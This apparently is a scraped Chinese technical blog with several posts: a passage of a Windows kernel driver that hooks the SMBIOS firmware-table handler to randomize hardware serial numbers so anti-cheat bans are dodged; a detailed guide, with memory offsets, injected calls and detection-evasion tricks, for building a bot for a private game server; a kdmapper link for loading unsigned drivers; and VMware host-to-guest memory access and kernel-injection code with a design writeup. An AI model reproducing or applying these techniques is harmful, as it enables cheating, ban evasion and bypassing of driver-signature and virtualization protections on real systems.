       if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
           return FALSE;
       }
       // 获取节表的地址
       IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD_PTR)ntHeader + sizeof(IMAGE_NT_HEADERS));
       for (PIMAGE_SECTION_HEADER pSection = sectionHeader; 
       pSection < sectionHeader + kernelImage->FileHeader.NumberOfSections; pSection++)
       {
       if (*(PULONG)pSection->Name != 'EGAP')
       {
           continue;
       }
       DWORD64 found = find_pattern(ulNtoskrnlBase + pSection->VirtualAddress,
       pSection->Misc.VirtualSize, (const char*)signature, "xxx????xxxx");
       if (found == 0)
       {
           found = find_pattern(ulNtoskrnlBase + pSection->VirtualAddress,
           pSection->Misc.VirtualSize, (const char*)signature2, "xxx????xxxx");
       }
       if (found != 0)
       {
           pExpFirmwareTableProviderListHead = (PLIST_ENTRY)found;
           break;
       }
       }
       if (pExpFirmwareTableProviderListHead != NULL)
       {
           // PAGE:00000001404A95A5 48 8B 05 >64 8C E2 FF mov     rax, cs:ExpFirmwareTableProviderListHead
           int relativeAddr = *(int*)((char*)pExpFirmwareTableProviderListHead + 3);
           pExpFirmwareTableProviderListHead = (PLIST_ENTRY)((uintptr_t)(pExpFirmwareTableProviderListHead)+7 + relativeAddr);
           if (!IsListEmpty(pExpFirmwareTableProviderListHead))
           {
               PLIST_ENTRY nextEntry = NULL;
               for (PLIST_ENTRY pListEntry = pExpFirmwareTableProviderListHead->Flink; pListEntry != pExpFirmwareTableProviderListHea        d; pListEntry = nextEntry)
               {
                   nextEntry = pListEntry->Flink;
                   unsigned int val = *(unsigned int*)((uintptr_t)pListEntry - 0x18);
                   PVOID* funcPtr = (PVOID*)((uintptr_t)pListEntry - 0x18 + 0x8);
                   DbgPrint("ExpFirmwareTableProviderListHead entry: %u 0x%p", val, *funcPtr);
                   if (val == 'RSMB')
                   {
                       g_pFuncPtr = funcPtr;
                       pOriginalWmipRawSMBiosTableHandler = *(PFNFTH*)funcPtr;
                       InterlockedExchangePointer((volatile PVOID*)funcPtr, (PVOID)WmipRawSMBiosTableHandlerHook);
                       break;
                   }
               }
           }
       }
       return TRUE;
    }

    函数指针替换成功,WmipRawSMBiosTableHandlerHook函数可以正确调用。

    但是,不能修改SMBios数据,只能读取。

    下面说下我想到的能够修改主板序列号的方法:

    通过 WmipFindSMBiosStructure -> WmipSMBiosTablePhysicalAddress获得SMBios表的地址,然后找到

    WmipFindSMBiosStructure -> WmipSMBiosTableLength获得SMBios表的长度。代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // WmipFindSMBiosStructure -> WmipSMBiosTablePhysicalAddress
    PPHYSICAL_ADDRESS physical_address = (PPHYSICAL_ADDRESS)n_util::find_pattern_image(address,
       "\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x74\x00\x8B\x15",
       "xxx????xxxx?xx");
    if (physical_address == 0) return false;
        physical_address = reinterpret_cast<PPHYSICAL_ADDRESS>(reinterpret_cast<char*>(physical_address) + 7 + *reinterpret_cast<int*>(reinterpret_cast<char*>(physical_address) + 3));
    if (physical_address == 0) return false;
        n_log::printf("physical address : %llx \n", physical_address);
    // WmipFindSMBiosStructure -> WmipSMBiosTableLength
        DWORD64 physical_length_address = n_util::find_pattern_image(address,
       "\x8B\x1D\x00\x00\x00\x00\x48\x8B\xD0\x44\x8B\xC3\x48\x8B\xCD\xE8\x00\x00\x00\x00\x8B\xD3\x48\x8B",
       "xx????xxxxxxxxxx????xxxx");
    if (physical_length_address == 0) return false;
    unsigned long physical_length = *reinterpret_cast<unsigned long*>(static_cast<char*>((void*)physical_length_address) + 6 + *reinterpret_cast<int*>(static_cast<char*>((void*)physical_length_address) + 2));
    if (physical_length == 0) return false;
        n_log::printf("physical length : %d \n", physical_length);

    然后遍历、修改表。这里给出SMBios用到的几个结构体:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    typedef struct
        {
            UINT8   Type;
            UINT8   Length;
            UINT8   Handle[2];
        } SMBIOS_HEADER,*PSMBIOS_HEADER;
        typedef UINT8   SMBIOS_STRING;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Vendor;
            SMBIOS_STRING   BiosVersion;
            UINT8           BiosSegment[2];
            SMBIOS_STRING   BiosReleaseDate;
            UINT8           BiosSize;
            UINT8           BiosCharacteristics[8];
        } SMBIOS_TYPE0;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            SMBIOS_STRING   ProductName;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
            //
            // always byte copy this data to prevent alignment faults!
            //
            GUID            Uuid; // EFI_GUID == GUID?
            UINT8           WakeUpType;
        } SMBIOS_TYPE1;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            SMBIOS_STRING   ProductName;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
        } SMBIOS_TYPE2;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            UINT8           Type;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
            SMBIOS_STRING   AssetTag;
            UINT8           BootupState;
            UINT8           PowerSupplyState;
            UINT8           ThermalState;
            UINT8           SecurityStatus;
            UINT8           OemDefined[4];
        } SMBIOS_TYPE3;

    具体请见 https://www.dmtf.org/sites/default/files/standards/documents/DSP0134_3.7.1.pdf

    System Management BIOS (SMBIOS) Reference Specification。

    然后遍历、修改表代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    void process_smbios_table(SMBIOS_HEADER* header)
        {
            auto TableLength = [](PSMBIOS_HEADER pHeader) -> size_t
            {
                char* current = reinterpret_cast<char*>(pHeader) + pHeader->Length;
                size_t i = 1;
                for (i; current[i - 1] != '\0' || current[i] != '\0'; i++)
                {
                    // Scan until we find a double zero byte
                }
                return pHeader->Length + i + 1;
            };
            auto GetString = [](PSMBIOS_HEADER pHeader, unsigned char id, int nLen) -> char*
            {
                UNREFERENCED_PARAMETER(id);
                UNREFERENCED_PARAMETER(nLen);
                char* string = reinterpret_cast<char*>(pHeader) + pHeader->Length;
                char hexOutput[256] = { 0 };
                stringToHex(string, hexOutput, nLen);
                DbgPrint("%s\r\n", hexOutput);
                for (DWORD i = 1; i < id; i++)
                {
                    string += strlen(string) + 1;
                }
                return string;
            };
            {
                char* serialNumber = NULL;
                if (header->Type == 1) //主板bios
                {
                    SMBIOS_TYPE1* pSystemInfoHeader = reinterpret_cast<SMBIOS_TYPE1*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pSystemInfoHeader, pSystemInfoHeader->SerialNumber,
                        header->Length);
                    DbgPrint("read SystemInfo: %s\r\n", serialNumber);
                }
                else if (header->Type == 2) //主板物理序列号
                {
                    SMBIOS_TYPE3* pBaseBoardHeader = reinterpret_cast<SMBIOS_TYPE3*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pBaseBoardHeader, pBaseBoardHeader->SerialNumber,
                        header->Length);
                    DbgPrint("read BaseBoard: %s\r\n", serialNumber);
                }
                else if (header->Type == 4) // CPU
                {
                    SMBIOS_TYPE4* pCpuHeader = reinterpret_cast<SMBIOS_TYPE4*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pCpuHeader, pCpuHeader->ProcessorId,
                        header->Length);
                    DbgPrint("read CPU: %s\r\n", serialNumber);
                }
                if (serialNumber)
                {
                    if (header->Type == 1) // SystemInfo 主板bios
                    {
                        SMBIOS_TYPE1* pSystemInfoHeader = reinterpret_cast<SMBIOS_TYPE1*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
                        serialNumber = GetString((SMBIOS_HEADER*)pSystemInfoHeader, pSystemInfoHeader->SerialNumber,
                            header->Length);
                        DbgPrint("re-read BaseBoard bios: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                    else if (header->Type == 2) // BaseBoard Physical SN
                    {
                        SMBIOS_TYPE3* pBaseBoardHeader = reinterpret_cast<SMBIOS_TYPE3*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
                        serialNumber = GetString((SMBIOS_HEADER*)pBaseBoardHeader, pBaseBoardHeader->SerialNumber,
                            header->Length);
                        DbgPrint("re-read BaseBoard: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                    else if (header->Type == 4) // CPU
                    {
                        SMBIOS_TYPE4* pCpuHeader = reinterpret_cast<SMBIOS_TYPE4*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
                        serialNumber = GetString((SMBIOS_HEADER*)pCpuHeader, pCpuHeader->ProcessorId,
                            header->Length);
                        DbgPrint("re-read CPU: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                }
                header = (PSMBIOS_HEADER)((char*)header + TableLength(header));
            }
            DbgPrint("[WmipRawSMBiosTableHandlerHook] Serial numbers spoofed.");
        }

    具体代码见附件HardwareSNModify(fix版).7z,是对附件HardwareSNModify.rar的升级。

    效果如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    上面只截了UEFI的图,BIOS也同样有效果。

    这里分别对不同类型的SMBIOS进行了修改,CPU、主板、内存、硬盘序列号。经过详细测试,稳定运行。

    其实CPU虚拟化也可以修改CPU序列号,但考虑有些PC不开启VT,所以还是选择了上面的方法。

    其余的序列号修改可以参考附件里的手册。

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    之前想着直接清空硬件序列号,但这种方法可能会被Anti-Cheat forbid。所以实现为Random序列号。

    注意:

    另外,若是需要重启的方法,驱动加载后需要修改注册表, 把Start键值改为1。如下图:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    总结:

    上文两种方法,不需要重启的方法,要求是BIOS引导。需要重启的方法,UEFI和BIOS的都兼容。第一种方法关于UEFI的下回再分解,第二种方法设置为开机启动,其实也很方便。

    附件里还有SetupRwX64.exe,是上文所用到的RW工具。

    拜拜,谢谢各位大佬阅读本文

    源码

    !1765376500-硬件修改

  • 传奇私服外挂开发(有源码)

    传奇私服外挂开发(有源码)

    引言:

    论坛还没有关于传奇私服外挂开发的文章,于是把我前段时间开发过的一款外挂分享出来。传奇私服如火如荼,经过我们统计,有1000多个传奇私服登陆器。本文只针对一款特定的私服做外挂开发,但原理都是一样的。本文有基础介绍,有难点分析,有针对玩家挂机体验做优化,有源码(见附件)。但文章只做研究用,请勿用来做商业用途,破坏游戏的平衡性。

    下图是外挂挂机的截图:

    传奇私服外挂开发(有源码)

    界面、功能虽简单,但外挂主要功能都有。且不会被反外挂检测到,这款私服的反外挂是ntprotect:

    传奇私服外挂开发(有源码)

    有人会问,传奇私服大都有内挂:

    传奇私服外挂开发(有源码)

    为什么还要做私服的外挂?因为内挂是要花钱的, 一个账号要花xx RMB。而且本文的外挂是基于内存挂,不是像大漠插件的图色+键鼠模拟外挂,是可以多开的。多开的意义不用我说。

    好了,进入主题吧:

     

    一、 开发前的准备:

    上文提到了,本文是基于内存的Call挂,即注入DLL到游戏,调用游戏内的功能函数实现挂机。除了内存挂,还有图色挂和脱机挂。

    图色外挂就是识别游戏的图片,来判断怪物,怪物在什么地方,一般模拟键鼠来挂机,优点是开发快速,缺点是一台机器只能挂一个游戏,不能实现多开来挂机。因为键鼠分不了身啊。

    脱机挂是分析清除了游戏的传输数据协议,直接收发包来实现挂机。

    这款挂是基于C++加内嵌汇编开发的,常用的开发语言还有易语言。

     

            1、 工具准备:

    CheatEngine、X32dbg、IDA、VT虚拟化调试器。由于游戏有反外挂,会检测调试器,所以要上VT。VT现在好多群里在买,一个月300左右。

    传奇私服外挂开发(有源码)

    当然有实力也可以自己开发一款,这里给出一篇看雪的文章:https://bbs.kanxue.com/thread-214916.htm

            2、 逆向分析:

    这个步骤很关键,因为是内存Call挂,自然需要逆向分析出各个关键数据存放的地址。不过大家放心,私服是非常少,或者不会更新里面数据的基地址的,所以找一遍地址就行。下面介绍关键数据和Call的找法:

            1). 血量:

    发现直接搜索血量能搜索到,但CheatEngine查找谁访问的基地址,怎么找都是找不到的。于是想到游戏或者反外挂做了手脚,因为这是对外挂最需要的数据。

    后来搜减少、减少的数值(类型为2字节),逐步缩小范围后找到了基地址:

    [[[[F74388]+834]+4]+x*4]+582

    x为0代表自己的血量,x为其它数值代表怪物的血量。

            2). 怪物坐标:

    这个CE搜索人物的坐标,然后查找谁访问的基地址,可以找到:

    X坐标: [[[[F74388]+834]+4]+x*4]+908

    Y坐标: [[[[F74388]+834]+4]+x*4]+A00

    x为0代表人物的坐标,但也有例外,有很小几率x是0怪物的坐标。

    这里科普下为什么搜索到人物的坐标后,要CE再查找谁访问的,因为搜索到人物的坐标是个堆栈地址,每次程序重启后,都不一样,所以要找出基地址。

    传奇私服外挂开发(有源码)

    上图右边的CE绿色的就是基地址。一般要查找几轮才能到达基地址,如下图:

    传奇私服外挂开发(有源码)

    具体可以看网上的教程,这里不再详述。

             3). 怪物数量:

    按上面基地址的公式,观察内存中的数据可以得到:

    [[[[F74388]+834]+8

            4). 怪物名字:

    这个不能CE的查找谁访问找到,定位方式是:先用x32dbg找到怪物基地址。查找的方法可以借鉴网上的方法,但一般是对某个和人物有关的功能下断点,比如骑马、下马,bp Send后,栈回溯,Go到栈中的函数,可以看到上下文汇编代码有出现人物的基地址。

    找到怪物基地址后,用CE搜怪物名字如”稻草人”得到地址A。再用CE搜A是哪个地址访问的值,得到地址B。最后B减去怪物基地址得到偏移。所以怪物名字基地址:

    [[[[F74388]+834]+4]+x*4]+C24

            5). 攻击怪物基地址:

    选择一个怪物攻击,CE搜1,停止攻击怪,CE搜0,反复几次,然后查找谁访问或写入的,得出基地址:

    F7A8A4

            6).地面物品数量:

    方法同上,略:

    [[0091bb2c]]+8

            7). 地面物品坐标:

    这个比较难用上面的方法搜索到,使用CE工具里面的Structure dissect看的,在里面输入物品结构体的地址:0091bb2c。然后逐级展开结构体:

    传奇私服外挂开发(有源码)

    最终确认地面物品坐标:

    [[[[[[0091bb2c]]+4]+x*4]+4]+0]+8 //X坐标

    [[[[[[0091bb2c]]+4]+x*4]+4]+0]+C //Y坐标

    x为第几个物品。

    CE里还有个工具也很好用,若搜到数据后,不想查找对应的基地址,可以用指针扫描器:

    传奇私服外挂开发(有源码)

    填入扫描的地址,开始扫描后,多重启几次游戏,用这个工具对比,即可找到基地址。

     

            8). 捡物call:

    查找的方法是下断发包函数(bp send),然后分析栈中的函数,找到如下call:

    传奇私服外挂开发(有源码)

    然后查找eax的基地址,之后调用0x701620就行了。0x701620是因为游戏exe的基地址是0x400000,加上0x301620就是了。

    这里给出捡物品的代码:

    传奇私服外挂开发(有源码)

            9). 走路call:

    同样是下断发包函数(bp send),然后分析栈中的函数,找到如下call:

    传奇私服外挂开发(有源码)

    传奇游戏有走路和跑步call,且有8个方向,只是参数不一样。参数的确定,可以分别向8个方向走路或跑步,代码如下:

    传奇私服外挂开发(有源码)

            10). 自动寻路call:

    我们点击小地图上的点时,是可以自动寻路的。于是想去找这个Call。但是并不顺利,这个call查找花了我好多功夫,一开始查找的call,是需要开启小地图,且寻路后鼠标会黏在小地图上。

    然后想到使用A*或者B*算法去寻路,但需要提前制作好二值化地图数据,所有地图都需要制作,而且以后地图更新了,我们程序也得更新。

    经过研究,找到完美call的方法: 先找到寻路状态的地址,寻路为1,不寻路为0。然后发现目的坐标写在后面,对其下硬件写入断点,断下函数逐层栈函数进行IDA分析。得到的call如下:

    传奇私服外挂开发(有源码)

    为了代码稳定起见,部分代码改成了C++实现:

    传奇私服外挂开发(有源码)

    为什么部分代码改为C++写就稳定了呢,因为比如遍历怪物数组时,怪物刷新了,导致访问数组就会崩溃。再比如A指向一块内存B,访问B的某偏移获得怪物某属性,而B此时释放了,怎么办?

    解决方法是:先读取是否是有效的内存,再进行操作,比如使用ReadProcessMemory并判断返回值。

     

            11).角色\怪物类型:

    这个也是比较难定位的,就用自己写的程序(OffsetFind,见附件)去比较数组,得出来角色\怪物的类型。

    原理是对比游戏内存中两个怪物数组的数据,设置好过滤条件,然后找出不同的地方:

    传奇私服外挂开发(有源码)

    比较出来的结果例如下图:

    传奇私服外挂开发(有源码)

    找出来的怪物类型如下图:

    传奇私服外挂开发(有源码)

            12).自动回收装备:

    分析略。见附件代码:

    传奇私服外挂开发(有源码)

            13). 背包数组:

    找法:CE搜索背包的第一格物品名称,并下断。然后把第一个物品移动到其它格子。会在mov ecx,00000426断下:

    传奇私服外挂开发(有源码)

    再根据上面的代码推导出公式:

    [[0091BCDC]]+(0xC72+0*0x213)*8+1

     

            14). 快捷栏数组:

    分析方法同背包数组。公式: [[0091BCDC]]+(0*0x213)*8+1

     

            15). 方便玩家PK的小退、使用快捷栏物品、喊话:

    小退在此断下:

    传奇私服外挂开发(有源码)

    对应的汇编调用代码如下:

    传奇私服外挂开发(有源码)

    使用随机传送石在此断下:

    传奇私服外挂开发(有源码)

    默认回城卷轴会在快捷栏第一格、随机卷轴会在快捷栏第二格:

    传奇私服外挂开发(有源码)

    对应的汇编调用代码如下:

     

    传奇私服外挂开发(有源码)

    喊话call在此断下:

    传奇私服外挂开发(有源码)

    对应的C++调用代码如下:

    传奇私服外挂开发(有源码)

            小结:

    好了,关键数据的基地址和Call就分析完了,下面说一下小技巧:

    1.      CE查找谁访问或写入的地址时,发现是循环的值怎么办,分析其它搜索到的记录。或用CE的指针扫描器。

    2.      查找call的方法是下断发包函数(bp send),但有的功能函数和发包函数不在一个线程,即专门有个发包的函数,这种情况定位功能call的方法可以见网上:https://blog.csdn.net/liujiayu2/article/details/57089112

    3.      有时候找血量或其它,不好找,先找其它属性,定位到基地址,然后再找。也可以用CE的Structure dissect查看。

     

          二、 代码编写:

    有了上面的逆向分析,我们就开始讲下代码吧。

    外挂的功能主要是自动打怪、捡物品、装备回收。

    打怪是往一个地址写入怪物ID就会打怪,停止打怪是设置这个地址为0。

    传奇私服外挂开发(有源码)

    自动打怪是一边寻路到挂机点一边打怪,挂机点是自动生成的,后面会介绍。

    捡取物品是要踩到物品上,也就是走或跑到物品的坐标才能捡取。

    一定范围的怪物打完才捡取物品,捡取所有物品。

    打怪和捡取物品的入口函数如下:

    传奇私服外挂开发(有源码)

    装备回收是模拟用户操作界面点击回收按钮。当然不是模拟点击,而是call内部函数。

    传奇私服外挂开发(有源码)

    最主要功能就是上面所述。

     

            1、 重难点优化:

    下面介绍下开发中的遇到的问题及优化。

            1). 卡角落打怪:

    自动打怪过程中,是需要走\跑路过去打的。但有些是过不去的,如下图:

    传奇私服外挂开发(有源码)

    上图中选中的是楼上的怪物,因为走\跑路不了楼上,会一直卡在这。

    传奇私服外挂开发(有源码)

    上图中选中的是对面的怪物,因为走\跑路不过去,会一直卡在这。

    可能是走\跑路到坐标点本身无法到达,我们需要解决这个问题。

    在选择怪并执行打怪动作后,使用下面的函数进行检查:

    传奇私服外挂开发(有源码)

    若一段时间内检测打怪状态为0,且怪物血量不为0,说明卡角落打怪了,就调用寻路Call过去打怪。若此时还没检测到则放弃此怪物:

    传奇私服外挂开发(有源码)

    那什么时候重新打此怪物呢?人物自己移动了一定距离,不会卡障碍物就可以重新打怪物。

    传奇私服外挂开发(有源码)

    经过这样的优化,就不会出现挂机卡着了。

     

            2). 聚怪打怪速度优化:

    当周围怪物很多很多的时候,若要打的怪走动了,被别的怪挡住了,此时调用函数CheckAttack检查没有攻击怪,然后会寻路并等待,所以造成打怪停止半天,才接着打:

    传奇私服外挂开发(有源码)

    针对它的优化是当周围怪物达到6个以上时,使用CheckAccumulationAttack函数进行快速检查,若没有检查到攻击状态,则暂时放弃此怪物:

    传奇私服外挂开发(有源码)

    当怪物小于等于6时,放弃的怪物又可以重新打,以免暂时放弃的怪老跟着自己。

     

            3).打一下怪物跑一下:

    测试时自动打怪时,人物会打一下跑一下,再打,再跑一下。这样会拖慢挂机效率。针对此问题时选择怪物后,跑到怪物旁边去再攻击:

    传奇私服外挂开发(有源码)

    4). 卡地点不移动了:

    有时候人物会卡在一个地点不动了,自动寻路也不会动,如下图:

    传奇私服外挂开发(有源码)

    猜测寻路算法已损坏,此时随便跑一下,接着寻路就可以动了:

    传奇私服外挂开发(有源码)

            5). 不捡别人的物品思路:

    在捡取物品时,若物品是别的玩家的,会不断地捡取物品。

    解决方法是调用捡物品Call时,记录下来物品ID,下次不再捡取。

    传奇私服外挂开发(有源码)

            6). 过服务器反外挂检测:

    防止速度太快,服务器把自己定在一个位置:

    传奇私服外挂开发(有源码)

    解决方法是,在打怪时,适当休息一段时间:

    传奇私服外挂开发(有源码)

            7). 自动生成打怪坐标的优化:

    一般的生成打怪坐标点是靠人工手动选取,附件代码里做了自动生成。

    且生成的坐标点是按一定距离生成的。不会出现坐标点之间的距离很近,这样自动挂机就没有意义。同时会按照地图大小,调整这个距离。

    这里还有个问题,就是很大的地图,自动生成坐标点会很慢。也做了优化,会映射到一个较小地图上,然后再随机生成坐标点。

    传奇私服外挂开发(有源码)

            总结:

    就介绍到这里了,代码见附件。vs工程里还提供了一个代码注入器。生成的代码是可以挂机的。登陆器下载地址: http://www.miaohai.com/ 但再次声明,本程序不要用作不法用途。

    源码
    1765376233-传奇私服

  • kdmapper加载无签名驱动

    github地址
    https://github.com/TheCruZ/kdmapper

  • 关于vmware 穿透读写的研究

    1765203475-VmWareThrough-main
    通过研究这份代码发现,在VMware虚拟机内存大于2gb的时候,会出现一个问题就是找不到偏移,通过不断调试对比内存发现,在VMReadHostRegion读不到vmem中的数据。

    这时候需要修改VMReadHostRegion函数,另外这份源码是不能运行在windows 11的系统中的,因为vmware选择win11安装后,在内存布局中是没有vmem内存名称的,需要搜索eprocess的特征来确定实际的vmem内存地址

    BOOL VMReadHostRegion(PVOID buffer, ULONG64 addr, SIZE_T size) {
    ReadProcessMemory(gVmWareProcessHandle,
    (void*)((ULONG64)gMemBaseInfo.BaseAddress + addr),
    buffer, size, NULL);
    //读取在正常地址内读取不到需要的数据,就在减去0x40000000的位置再读取一次,这样就能读取到需要的数据了。也能在大于2GB内存的系统内读写内存
    if (*(DWORD64*)buffer == 0)
    {
    ReadProcessMemory(gVmWareProcessHandle,
    (void*)((ULONG64)gMemBaseInfo.BaseAddress + addr – 0x40000000),
    buffer, size, NULL);
    }
    if (*(DWORD64*)buffer == 0)
    {
    return FALSE;
    }
    else
    {
    return TRUE;
    }
    }
    # VMware内存操作工具原理文档
    ## 1. 项目概述
    本项目是一个高级VMware虚拟机内存操作工具,用于从宿主机直接访问和操作虚拟机内存,实现内核模式注入和驱动加载等功能。该工具通过直接访问VMware进程映射的虚拟机物理内存,绕过了传统的虚拟机隔离机制,实现了对虚拟机内部系统的深度控制。
    ## 2. 核心组件
    ### 2.1 主应用程序(VmWareApp.c/h)
    – **功能**:实现核心功能,包括内存初始化、内核数据获取、进程查找等
    – **主要函数**:
      – `VmWareThroughInit`:初始化整个系统
      – `VMFindVmProcessData`:查找目标进程数据
      – `VMReadVmVirtualAddr`/`VMWriteVmVirtualAddr`:读写虚拟机虚拟地址
      – `VMTranslatePhyAddress`:虚拟地址转物理地址  (重点vmem地址+物理地址=虚拟机内地址)
    ### 2.2 内核模式注入(KernelModeInject.c/h)
    – **功能**:实现内核模式代码注入
    – **主要函数**:
      – `KMIKernelInject`:执行内核注入
      – `KMIGetWinModuleInfo`:获取Windows模块信息
    ### 2.3 VMware磁盘操作(VmWareDisk.c/h)
    – **功能**:封装VMware VIX Disk Library,实现虚拟机磁盘操作
    – **主要功能**:连接虚拟机、打开磁盘、读写磁盘等
    ### 2.4 内存操作(MemX64.c/h)
    – **功能**:实现x64/IA32e模式下的内存管理
    – **主要函数**:
      – `MemX64Prototype`:处理原型页表项
      – `MemX64TransitionPaged`:处理转换页表项
    ### 2.5 辅助组件
    – **pe.c/h**:PE文件操作
    – **vad.c/h**:虚拟地址描述符(VAD)操作
    – **debug.c/h**:调试功能
    – **misc.c/h**:杂项功能
    ## 3. 执行步骤
    ### 3.1 初始化阶段
    1. **进程句柄获取**:
       – 打开VMware进程,获取进程句柄
       – 权限:需要`PROCESS_VM_READ`、`PROCESS_VM_WRITE`等权限
    2. **内存映射查找**:
       – 通过`VMFindMappedRegion`函数遍历VMware进程的内存映射
       – 查找扩展名为`.vmem`的内存映射区域,这是虚拟机物理内存的映射
       – 记录映射基址和大小
    3. **内核数据初始化**:
       – 通过`VMNtKernelDataInit`函数从物理内存中查找内核数据
       – 扫描物理内存中的`PROCESSOR_START_BLOCK`结构
       – 获取内核入口地址和DirectoryTableBase(CR3)
    4. **进程偏移获取**:
       – 通过`VMGetWinX64ProcessOffset`函数获取Windows内核结构偏移
       – 查找`DirectoryTableBaseOffset`、`ActiveProcessLinksOffset`、`ImageFileNameOffset`等
       – 通过特征值扫描定位VAD根节点偏移
    ### 3.2 进程查找阶段
    1. **系统进程获取**:
       – 从内核数据中获取System进程的EPROCESS地址
       – 通过`ActiveProcessLinks`链表遍历所有进程
    2. **目标进程定位**:
       – 根据进程名(如”notepad.exe”)查找目标进程
       – 比较进程的`ImageFileName`字段
       – 获取目标进程的EPROCESS结构和CR3值
    3. **进程数据记录**:
       – 将目标进程的EPROCESS地址、CR3、VAD根节点等信息保存到`VM_PROCESS_DATA`结构
    ### 3.3 内核注入阶段
    1. **注入准备**:
       – 准备注入代码和数据
       – 初始化注入数据结构`KMJDATA`
    2. **内核函数获取**:
       – 通过`KMJInitializeVmKernelFunctions`函数获取内核函数地址
       – 包括`PsCreateSystemThread`、`MmMapIoSpaceEx`等关键函数
    3. **注入执行**:
       – 通过`KMIKernelInject`函数执行内核注入
       – 利用之前获取的内核数据和进程信息
       – 执行阶段1、阶段2、阶段3注入代码
    ### 3.4 驱动加载阶段
    1. **驱动路径处理**:
       – 处理驱动路径,转换为NT路径格式(如”\\??\\c:\\test\\DriverTest.sys”)
    2. **驱动加载**:
       – 通过`VMLoadDriver`函数加载驱动
       – 利用之前的内核注入结果
       – 调用内核函数加载驱动
    ## 4. 技术原理
    ### 4.1 VMware内存映射利用
    – **原理**:VMware将虚拟机的物理内存以`.vmem`文件的形式映射到宿主机进程空间
    – **实现**:通过`GetMappedFileNameA`函数查找`.vmem`映射区域
    – **优势**:直接访问物理内存,绕过虚拟机监控器(VMM)的隔离
    ### 4.2 物理内存直接访问
    – **原理**:利用VMware进程的内存映射,直接读写虚拟机物理内存
    – **实现**:通过`ReadProcessMemory`和`WriteProcessMemory`函数访问映射区域
    – **关键函数**:
      – `VMReadHostRegion`:读取宿主机内存区域
      – `VMWriteHostRegion`:写入宿主机内存区域
    ### 4.3 虚拟地址转换
    – **原理**:实现x64/IA32e模式下的页表转换
    – **步骤**:
      1. 从虚拟地址中提取PML4、PDPT、PD、PT索引
      2. 遍历页表,获取物理页框号
      3. 组合物理页框号和页内偏移,得到物理地址
    – **关键函数**:`VMTranslatePhyAddress`
    ### 4.4 内核数据结构解析
    – **原理**:通过特征值扫描和结构分析,定位内核数据结构
    – **主要结构**:
      – `EPROCESS`:进程对象
      – `KPROCESS`:内核进程对象
      – `VAD`:虚拟地址描述符
      – `LDR_DATA_TABLE_ENTRY`:模块加载信息
    – **实现**:通过`VMGetWinX64ProcessOffset`函数动态查找结构偏移
    ### 4.5 内核模式注入
    – **原理**:利用物理内存访问,修改内核数据和代码,实现无驱动内核注入
    – **阶段**:
      1. 阶段1:初始化和准备
      2. 阶段2:代码注入和执行
      3. 阶段3:后续处理和清理
    – **关键技术**:直接修改内核内存、调用内核函数、创建系统线程
    ### 4.6 驱动加载
    – **原理**:利用内核注入结果,调用内核函数加载驱动
    – **优势**:绕过传统的驱动签名验证和加载机制
    – **实现**:通过注入的代码调用`ZwSetSystemInformation`或直接操作驱动对象
    ## 5. 核心数据结构
    ### 5.1 NT_PROCESS_OFFSET
    “`c
    typedef struct _NT_PROCESS_OFFSET {
        DWORD DirectoryTableBaseOffset;    // DirectoryTableBase偏移
        DWORD ActiveProcessLinksOffset;    // ActiveProcessLinks偏移
        DWORD ImageFileNameOffset;         // ImageFileName偏移
        DWORD UniqueProcessId;             // 唯一进程ID
        DWORD VadRootOffset;               // VAD根节点偏移
    } NT_PROCESS_OFFSET, *PNT_PROCESS_OFFSET;
    “`
    ### 5.2 NT_PROCESS_DATA
    “`c
    typedef struct _NT_PROCESS_DATA {
        DWORD ProcessSize;                 // 进程大小
        DWORD64 MemoryKernelDirbase;       // 内核DirectoryTableBase
        DWORD64 MemoryKernelEntry;         // 内核入口地址
        DWORD64 MemoryKernelBase;          // 内核基地址
        DWORD64 SystemProcessEprocess;     // System进程EPROCESS地址
        PVOID PsLoadedModuleListPtr;       // 模块加载列表指针
